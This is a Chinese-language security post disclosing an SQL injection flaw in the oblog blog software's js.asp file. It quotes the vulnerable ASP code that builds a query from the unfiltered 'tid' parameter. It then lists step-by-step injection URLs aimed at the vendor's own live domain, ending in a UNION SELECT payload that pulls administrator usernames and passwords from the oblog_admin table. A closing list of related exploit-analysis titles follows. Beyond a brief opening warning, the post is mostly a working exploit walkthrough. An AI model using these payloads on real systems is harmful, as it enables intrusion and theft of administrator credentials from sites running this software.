经测试漏洞确实存在,请广大使用此Blog的朋友们小心了!
漏洞文件:js.asp
| 以下是引用片段: <% Dim oblog set oblog=new class_sys oblog.autoupdate=False oblog.start dim js_blogurl,n js_blogurl=Trim(oblog.CacheConfig(3)) n=CInt(Request("n")) if n=0 then n=1 select case CInt(Request("j")) case 1 call tongji() case 2 call topuser() case 3 call adduser() case 4 call listclass() case 5 call showusertype() case 6 call listbestblog() case 7 call showlogin() case 8 call showplace() case 9 call showphoto() case 10 call showblogstars() Case 11 Call show_hotblog() Case 12 Call show_teams() Case 13 Call show_posts() Case 14 Call show_hottag() case 0 call showlog() end select ****************省略部分代码****************** Sub show_posts() Dim teamid,postnum,l,u,t teamid=Request("tid") postnum=n l=CInt(Request("l")) u=CInt(Request("u")) t=CInt(Request("t")) Dim rs,sql,sRet,sAddon Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost where idepth=0 and isdel=0 " If teamid<>"" And teamid<>"0″ Then teamid=Replace(teamid,"|",",") Sql=Sql & " And teamid In (" & teamid & ") " End If Sql=Sql & " Order by postid Desc" Set rs=oblog.Execute(Sql) sRet=" " Do While Not rs.Eof sAddon="" * sRet=sRet & " " & oblog.Filt_html(Left(rs(2),l)) & "" If u=1 Then sAddon=rs(4) if t=1 Then If sAddon<>"" Then sAddon=sAddon & "," sAddon=sAddon & rs(3) End If If sAddon<>"" Then sAddon="(" & sAddon & ")" sRet=sRet & sAddon & " " rs.Movenext Loop Set rs = Nothing sRet=sRet & " " Response.write oblog.htm2js (sRet,True) End Sub |
调用show_posts()过程必须要符合上面的参数n=1,j=13
(" & teamid & ")
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
Sql="select Top " & postnum & " teamid,postid,topic,addtime,author,userid From oblog_teampost where idepth=0 and isdel=0 "
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
document.write('*');
gid=1跟pid=2里的1,2就是了 直接替换里面的1,2为username,password
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1
| 关于phpwind 5.01-5.3 0day的分析 | 04-09 | |
| PPPOE验证缺陷所带来的危害 | 03-21 | |
| Ce-Admin新闻发布系统漏洞分析 | 02-07 | |
| Discuz漏洞分析 | 11-28 | |
| 入侵检测PHP程序中的目录遍历漏洞 | 10-12 | |
| 主流入侵检测产品大比较 | 10-03 | |
| 一种新的带宽攻击方式(图) | 06-16 | |
| Html标签带来的安全隐患 | 06-05 | |
| Javascript实现评估用户输入密码 | 05-30 | |
| 针锋相对:主要的反NIDS技术应用 | 05-22 | |
| dvbbs7.1sp1最新漏洞的研究和利用 | 05-13 | |
| IE mhtml redirection漏洞利用方 | 05-12 | |